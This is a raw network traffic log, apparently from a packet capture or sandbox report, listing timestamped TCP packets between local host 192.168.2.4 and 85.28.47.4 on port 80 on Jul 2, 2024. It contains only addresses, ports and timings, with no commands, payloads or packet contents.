Jul 2, 2024 15:26:08.757952929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757961035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757971048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757973909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757991076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757996082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.758007050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.758009911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.758027077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.758028030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.758042097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.758044004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.758059025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.758061886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.758084059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.758085012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.758097887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.758104086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.758117914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.758125067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.758136988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.758138895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.758155107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.758156061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.758168936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.758176088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.758186102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.758187056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.758208036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.758220911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.764981985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.764997005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765024900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765037060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765053034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765063047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765064001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765093088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765094995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765094995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765103102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765129089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765129089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765131950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765146017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765152931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765158892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765182018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765250921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765261889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765278101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765288115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765291929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765307903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765312910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765322924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765335083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765340090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765350103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765351057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765377045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765413046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765423059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765435934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765456915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765459061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765469074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765470028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765490055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765496016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765506029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765508890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765521049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765527964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765536070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765539885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765552998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765558958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765568972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765573978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765588045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765590906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765600920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765625000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765706062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765717030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765741110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765747070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765763044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765779018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765782118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765793085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765805006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765808105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765822887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765829086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765841007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765850067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765850067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765861988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765872955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765875101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765887976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765903950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.765963078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765973091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.765990973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766000986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766004086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766019106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766027927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766028881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766047955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766055107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766057014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766073942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766083002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766083956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766102076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766108990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766112089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766129971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766140938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766141891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766163111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766181946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766232014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766242027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766259909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766268969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766271114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766289949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766293049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766308069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766313076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766325951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766328096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766336918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766341925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766355991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766357899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766367912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766372919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766386986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766388893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766402006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766402006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766415119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766418934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766433954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766433954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766448021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766455889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.766464949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.766501904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.845585108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.845649958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.845709085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.845721006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.845743895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.845751047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.845755100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.845776081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.845782995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.845791101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.845808029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.845809937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.845834970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.845853090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.845896959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.845930099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.845952988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.845964909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.845988989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.845998049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846000910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846013069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846031904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846040010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846046925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846050978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846066952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846081972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846138954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846151114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846170902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846178055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846183062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846199989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846205950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846215963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846227884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846232891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846236944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846254110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846268892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846268892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846290112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846307993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846321106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846333027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846344948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846349001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846359968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846376896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846385956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846393108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846405029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846417904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846430063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846451044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846451998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846467018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846482038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846484900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846494913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846509933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846518040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846529007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846544981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846554995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846555948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846576929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846580029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846590996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846597910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846616983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846651077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846687078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846710920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846723080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846743107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.846748114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846759081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.846772909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.853482962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.853526115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.853537083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.853562117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.853563070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.853578091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.853584051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.853595018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.853622913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.853638887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.853642941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.853653908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.853672028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.853682041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.853682995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.853705883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.853707075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.853718996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.853733063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.853751898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854094028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854105949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854137897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854367971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854389906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854404926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854408026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854432106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854444981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854450941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854461908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854476929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854490042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854499102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854509115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854511023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854526043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854538918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854561090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854566097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854573011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854593039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854598999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854613066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854623079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854623079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854641914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854650021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854685068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854695082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854779959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854789972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854810953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854816914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854825020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854835033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854846001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854851007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854872942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854873896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854886055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854886055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854907990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854916096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854924917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854928017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854947090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.854963064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854980946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.854998112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855010033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855026960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855037928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855040073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855058908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855068922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855070114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855093956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855098009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855108976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855110884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855128050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855139017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855156898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855207920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855246067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855253935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855263948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855292082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855303049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855338097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855349064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855371952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855375051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855391026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.855396986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855407953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.855407953 CEST	49730	80	192.168.2.4	85.28.47.4
